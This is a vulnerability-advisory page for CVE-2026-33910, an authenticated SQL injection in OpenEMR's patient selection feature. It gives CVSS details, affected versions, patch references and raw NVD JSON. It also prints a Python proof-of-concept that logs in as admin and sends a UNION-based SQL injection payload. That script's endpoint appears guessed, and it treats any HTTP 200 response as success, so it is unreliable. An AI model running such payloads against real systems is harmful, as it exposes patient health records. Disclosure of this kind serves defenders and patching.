Security Vulnerability Report
中文
CVE-2026-33910 CVSS 7.2 HIGH

CVE-2026-33910

Published: 2026-03-25 23:17:10
Last Modified: 2026-03-26 16:19:41

Description

OpenEMR is a free and open source electronic health records and medical practice management application. Versions up to and including 8.0.0.2 contain a SQL injection vulnerability in the patient selection feature that can be exploited by authenticated attackers. The vulnerability exists due to insufficient input validation in the patient selection feature. Version 8.0.0.3 contains a patch.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:* - VULNERABLE
OpenEMR <= 8.0.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Example) target_url = "http://target-openemr.com/openemr/interface/patient_tracker/finding.php" # Attacker credentials (Authentication required) session = requests.Session() login_payload = { "authUser": "admin", "clearPass": "password" } # 1. Login to establish session login_resp = session.post("http://target-openemr.com/openemr/interface/login/login.php", data=login_payload) if login_resp.status_code != 200: print("Login failed") exit() # 2. Prepare SQL Injection payload # Attempting to extract database version via UNION-based SQLi sqli_payload = "1' UNION SELECT 1, version(), 3, 4, 5-- -" # 3. Send malicious request to patient selection feature params = { "patient_id": sqli_payload } exploit_resp = session.get(target_url, params=params) # 4. Verify exploitation if "mysql" in exploit_resp.text.lower() or exploit_resp.status_code == 200: print("[+] Vulnerability exploited successfully!") print("[+] Response snippet:", exploit_resp.text[:200]) else: print("[-] Exploit failed or patched.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33910", "sourceIdentifier": "[email protected]", "published": "2026-03-25T23:17:10.173", "lastModified": "2026-03-26T16:19:40.627", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenEMR is a free and open source electronic health records and medical practice management application. Versions up to and including 8.0.0.2 contain a SQL injection vulnerability in the patient selection feature that can be exploited by authenticated attackers. The vulnerability exists due to insufficient input validation in the patient selection feature. Version 8.0.0.3 contains a patch."}, {"lang": "es", "value": "OpenEMR es una aplicación de gestión de registros de salud electrónicos y práctica médica de código abierto y gratuita. Las versiones hasta la 8.0.0.2 inclusive contienen una vulnerabilidad de inyección SQL en la función de selección de pacientes que puede ser explotada por atacantes autenticados. La vulnerabilidad existe debido a una validación de entrada insuficiente en la función de selección de pacientes. La versión 8.0.0.3 contiene un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.0.0.3", "matchCriteriaId": "E3E098AF-42A1-4798-85A7-80052F19F809"}]}]}], "references": [{"url": "https://github.com/openemr/openemr/commit/73db3264aed253684532839380cae3b0a56c83d2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openemr/openemr/releases/tag/v8_0_0_3", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/openemr/openemr/security/advisories/GHSA-x32c-xj5g-7jx7", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}